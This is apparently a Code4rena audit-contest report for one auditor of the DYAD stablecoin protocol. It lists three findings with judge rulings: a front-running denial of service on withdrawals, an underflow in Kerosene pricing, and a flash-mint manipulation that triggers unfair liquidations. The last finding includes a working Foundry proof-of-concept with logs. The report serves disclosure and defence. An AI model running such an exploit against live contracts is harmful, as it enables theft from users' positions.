Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 9/183
Findings: 3
Award: $750.33
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
Description
An identified vulnerability within the deposit function allows a malicious user to cause the withdrawal function to revert for a legitimate request. This is possible by front-running a withdrawal request with a small deposit into the target's dNFT ID. The deposit function updates idToBlockOfLastDeposit
, leading to a state where any subsequent withdrawal in the same block will fail. This design flaw can be exploited to perform denial of service (DoS) attacks on legitimate withdrawals, causing potential financial and operational disruptions for users.
Deploy.V2.s.sol
function deposit( uint id, address vault, uint amount ) external @> isValidDNft(id) { idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); } /// @inheritdoc IVaultManager function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { @> if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
Impact
Withdrawals should be resilient to the timing and sequencing of deposit transactions. Legitimate withdrawal requests should not be inhibited by front-running activities, ensuring continuous and secure access to funds for users.
A bad actor can effectively block a withdrawal by exploiting the change in idToBlockOfLastDeposit
through a minimal deposit. This creates an opportunistic vector for DoS attacks against the withdrawal function, compromising user experience and trust.
Proof Of Concept
Recommended Mitigation:
Amend the deposit function to include a validation check ensuring that only the owner (or approved operator) of the dNFT can deposit into it. This change narrows the potential for malicious front-running by restricting deposit capabilities.
require(dNFT.ownerOf(id) == msg.sender || dNFT.isApprovedOperator(id, msg.sender), "NotOwnerNorApproved");
This validation provides a more secure interaction model, where deposits are intrinsically linked to ownership or explicit approval. By doing so, the protocol significantly reduces the surface area for denial of service (DoS) via the deposit function.
Access Control
#0 - c4-pre-sort
2024-04-27T11:40:25Z
JustDravee marked the issue as duplicate of #1103
#1 - c4-pre-sort
2024-04-27T11:45:40Z
JustDravee marked the issue as duplicate of #489
#2 - c4-pre-sort
2024-04-29T09:28:53Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-05T20:38:16Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T20:39:25Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-05-05T21:34:20Z
koolexcrypto marked the issue as nullified
#6 - c4-judge
2024-05-05T21:34:25Z
koolexcrypto marked the issue as not nullified
#7 - c4-judge
2024-05-08T15:28:05Z
koolexcrypto marked the issue as duplicate of #1001
#8 - c4-judge
2024-05-11T19:50:10Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
An audit of the DYAD decentralized stablecoin system has revealed a potential vulnerability related to the calculation of Kerosene's value in scenarios where there is a substantial drop in the market value of the underlying collateral. The specific issue arises from underflow in the calculation of the numerator used to determine Kerosene's value. This report details the vulnerability, its implications, and provides recommendations to mitigate the risks.
The vulnerability exists within the assetPrice
function, which is used to calculate the current price of Kerosene based on the total value locked (TVL) and DYAD's total supply. The critical line of code is:
uint numerator = tvl - dyad.totalSupply();
This line assumes that TVL will always be greater than the total supply of DYAD. However, during extreme market downturns where the value of the underlying crypto assets (like Ether) used as collateral drops precipitously, TVL can decrease rapidly and potentially fall below the total supply of DYAD.
In such cases, subtracting a larger number (DYAD total supply) from a smaller number (TVL) results in an underflow, which reverts the transaction due to the calculation resulting in a nonsensical, extremely high value due to the properties of unsigned integers in Solidity.
Operational Disruption: The underflow error could cause critical functions of the stablecoin system, such as minting, redemption, and liquidity management, to revert. This would disrupt normal operations during significant market downturns, precisely when stable and reliable function is most crucial.
System Lockup and Confidence Loss: If DYAD cannot manage liquidity effectively due to reverted transactions, it might lead to a cascading failure. Inability to liquidate positions in a timely manner could cause further deterioration of the collateral's value, thereby increasing the system's risk exposure and potentially leading to a loss of user confidence.
Proof Of Concept
Simulation Setup: Begin with a set of initial parameters where the TVL calculated from the assets in the vaults is only marginally above the total supply of DYAD. This closely models a stable market situation.
Induce Market Variation: Apply a sharp decline in the market value of all collateral assets managed in the vaults. This could mimic a real-world major market crash. The purpose here is to adjust the TVL downwards significantly.
Recalculation: With the new, reduced asset values, recalculate the TVL by summing up the products of the balances and depressed prices of the assets.
Comparison and Observation: Compare the recalculated TVL to the total supply of DYAD, noting if the TVL is lesser. Proceed to compute the difference (TVL - DYAD total supply) in the assetPrice
function. This is the critical step where underflow is expected when TVL is less than DYAD's total supply.
Recommended Mitigation:
To avoid potential underflows, modify the assetPrice
function to include a conditional check before performing the subtraction:
function assetPrice() public view returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } uint dyadSupply = dyad.totalSupply(); uint numerator; // Check to prevent underflow if (tvl < dyadSupply) { numerator = 0; // Set to zero if tvl is less than dyad total supply } else { numerator = tvl - dyadSupply; } uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
By adding this check:
numerator
cannot go negative, thus preventing the underflow.assetPrice
will continue to perform correctly, albeit indicating no available surplus for Kerosene valuation when market conditions are poor.This ensures system integrity and stability during extreme market conditions.
Under/Overflow
#0 - c4-pre-sort
2024-04-28T05:23:41Z
JustDravee marked the issue as insufficient quality report
#1 - c4-judge
2024-05-11T10:11:18Z
koolexcrypto marked the issue as duplicate of #308
#2 - c4-judge
2024-05-11T20:10:00Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: Al-Qa-qa, Emmanuel, TheFabled, TheSavageTeddy, ZanyBonzy, adam-idarrha, alix40, lian886
746.4915 USDC - $746.49
Description
This vector involves the manipulation of Kerosene value through flash mint attacks leading to unfair liquidations of other users' collateralized positions.
Prerequisites: The attacker needs to have significant funds in the protocol prior to execution in acceptable collateral forms. Additionally, the attack target (another user's collateralized NFT or Note) should be using Kerosene to enhance their collateral value and is close to the maximum mintable DYAD limit.
Flash Minting of DYAD: The attacker initiates the attack by flash minting a large amount of DYAD. This transaction artificially inflates the supply of DYAD temporarily.
Impacting Kerosene Value: The sudden increase in DYAD supply leads to a reduced value of Kerosene per the deterministic valuation formula:
[
K_{valuemint} = {TVL - (D_{supply} + D_{mint}})}/{K_{supply}
]
Here, D_{mint}
is abnormally high, which significantly lowers the K_{valuemint} temporarily.
Triggering Target Liquidation: As the value of Kerosene decreases, the collateral value backing the target's DYAD also decreases, potentially causing the target's collateral ratio to fall below the required threshold (150%). Consequently, this makes the target's position vulnerable to liquidation.
Profit From Liquidation: If the attacker has positioned themselves as the liquidator, they can execute the liquidation to claim the collateral at a distressed price, achieving undue gains.
Reverting Kerosene Value: Post-attack, the attacker burns the minted DYAD to return the supply to normal, restoring the Kerosene value and erasing evidence of manipulation.
Impact
The exploitation of this attack vector can lead to several issues:
Proof Of Concept
<details> <summary>Place the following test in your Foundry testing file</summary>// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {OracleMock} from "../OracleMock.sol"; import "../../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; contract V2Test is Test, Parameters { DNft dNft; Dyad dyad; Contracts contracts; IERC20 private _wstETH; OracleMock mockOracle; VaultWstEth wstEthMock; Licenser oldLicenser; uint public attackNft; function setUp() public { contracts = new DeployV2().run(); ERC20 (MAINNET_WSTETH); _wstETH = IERC20(address(MAINNET_WSTETH)); dNft = DNft(MAINNET_DNFT); dyad = Dyad(MAINNET_DYAD); oldLicenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); mockOracle = new OracleMock(1000e8); wstEthMock = new VaultWstEth( contracts.vaultManager, ERC20 (MAINNET_WSTETH), IAggregatorV3(address(mockOracle)) ); vm.prank(address(MAINNET_OWNER)); contracts.vaultLicenser.add(address(wstEthMock)); vm.prank(address(MAINNET_OWNER)); oldLicenser.add(address(contracts.vaultManager)); vm.prank(address(MAINNET_OWNER)); contracts.kerosineManager.add(address(contracts.unboundedKerosineVault)); } function setupStableState() internal { // setup state vm.startPrank(address(42)); deal(address(42), 2 ether); deal(address(MAINNET_WSTETH), address(42), 30000 * 1e18, true); deal(address(contracts.kerosene), address(42), 5000 * 1e18, true); uint id = dNft.mintNft{value: 1 ether}(address(42)); attackNft = id; //console.log("nft id number: ", id ); uint idTwo = dNft.mintNft{value: 1 ether}(address(42)); //console.log("nft id number: ", idTwo ); // deposit 1000 wstEth to stop underflow from already minted Dyad contracts.vaultManager.add(id, address(wstEthMock)); _wstETH.approve(address(contracts.vaultManager), 1000 ether); contracts.vaultManager.deposit(id, address(wstEthMock), 1000 ether); contracts.vaultManager.add(idTwo, address(wstEthMock)); _wstETH.approve(address(contracts.vaultManager), 10 ether); contracts.vaultManager.deposit(idTwo, address(wstEthMock), 10 ether); contracts.vaultManager.addKerosene(idTwo, address(contracts.unboundedKerosineVault)); contracts.kerosene.approve(address(contracts.vaultManager), 100 ether); contracts.vaultManager.deposit(idTwo, address(contracts.unboundedKerosineVault), 100 ether); console.log(""); console.log(""); } function logNftStats(uint testId) internal view { console.log(" DNFT ID : ", testId); console.log(""); console.log("NonKeroseneValue testNft : ", contracts.vaultManager.getNonKeroseneValue(testId) ); console.log("KeroseneValue of testNft : ", contracts.vaultManager.getKeroseneValue(testId) ); console.log("totalValue of testNft : ", contracts.vaultManager.getTotalUsdValue(testId) ); console.log("minted Dyad of testNft : ", dyad.mintedDyad(address(contracts.vaultManager), testId) ); console.log("collatRatio of testNft : ", contracts.vaultManager.collatRatio(testId)); console.log(""); } function testFlashMintAttack() public { setupStableState(); vm.startPrank(address(50)); deal(address(50), 2 ether); deal(address(MAINNET_WSTETH), address(50), 30000 * 1e18, true); deal(address(contracts.kerosene), address(50), 200000 * 1e18, false); uint testId = dNft.mintNft{value: 1 ether}(address(50)); console.log("Minted test nft id: ", testId); // deposit 1 wstEth contracts.vaultManager.add(testId, address(wstEthMock)); _wstETH.approve(address(contracts.vaultManager), 1 ether); contracts.vaultManager.deposit(testId, address(wstEthMock), 1 ether); // deposit 200,000 Kerosene contracts.vaultManager.addKerosene(testId, address(contracts.unboundedKerosineVault)); contracts.kerosene.approve(address(contracts.vaultManager), 200000 ether); contracts.vaultManager.deposit(testId, address(contracts.unboundedKerosineVault), 200000 ether); uint amountDyad = contracts.vaultManager.getNonKeroseneValue(testId) - 1; contracts.vaultManager.mintDyad(testId, amountDyad, address(50)); console.log("starting value"); logNftStats(testId); vm.stopPrank(); // attack testId vm.startPrank(address(42)); uint attackAmount = amountDyad * 355; // flash mint large amount of Dyad contracts.vaultManager.mintDyad(attackNft, attackAmount, address(42)); console.log("value during attack"); logNftStats(testId); // attack test nft contracts.vaultManager.liquidate(testId, attackNft); // burn back Dyad contracts.vaultManager.burnDyad(attackNft, attackAmount - amountDyad); console.log("value after attack"); logNftStats(testId); } }
console log
</details>[PASS] testFlashMintAttack() (gas: 2307252) Logs: Minted test nft id: 648 starting value DNFT ID : 648 NonKeroseneValue testNft : 1164672383760000000000 KeroseneValue of testNft : 2251086000000000000000 totalValue of testNft : 3415758383760000000000 minted Dyad of testNft : 1164672383759999999999 collatRatio of testNft : 2932806196307882480 value during attack DNFT ID : 648 NonKeroseneValue testNft : 1164672383760000000000 KeroseneValue of testNft : 569098000000000000000 totalValue of testNft : 1733770383760000000000 minted Dyad of testNft : 1164672383759999999999 collatRatio of testNft : 1488633548743328022 value after attack DNFT ID : 648 NonKeroseneValue testNft : 305836450068142087517 KeroseneValue of testNft : 2251086000000000000000 totalValue of testNft : 2556922450068142087517 minted Dyad of testNft : 0 collatRatio of testNft : 115792089237316195423570985008687907853269984665640564039457584007913129639935
Recommended Mitigation:
Limit on Max DYAD Mint in a Single Transaction: Implement a cap on the maximum DYAD that can be minted in a single transaction relative to overall DYAD supply to prevent large-scale manipulations.
Circuit Breaker: Deploy a mechanism that monitors for large, sudden changes in Kerosene value or DYAD supply. If triggered, the system could either automatically revert suspicious transactions or require additional verification.
Other
#0 - c4-pre-sort
2024-04-28T05:23:37Z
JustDravee marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-04-28T06:04:37Z
JustDravee marked the issue as duplicate of #67
#2 - c4-pre-sort
2024-04-28T06:04:40Z
JustDravee marked the issue as remove high or low quality report
#3 - c4-pre-sort
2024-04-29T09:18:50Z
JustDravee marked the issue as sufficient quality report
#4 - c4-judge
2024-05-05T09:59:11Z
koolexcrypto changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-05-08T11:50:05Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#6 - c4-judge
2024-05-08T12:59:52Z
koolexcrypto marked the issue as nullified
#7 - c4-judge
2024-05-08T12:59:56Z
koolexcrypto marked the issue as not nullified
#8 - c4-judge
2024-05-08T13:00:03Z
koolexcrypto marked the issue as satisfactory
#9 - c4-judge
2024-05-11T19:28:53Z
koolexcrypto marked the issue as not a duplicate
#10 - c4-judge
2024-05-11T19:29:01Z
koolexcrypto marked the issue as duplicate of #68
#11 - c4-judge
2024-05-28T09:57:10Z
koolexcrypto changed the severity to 3 (High Risk)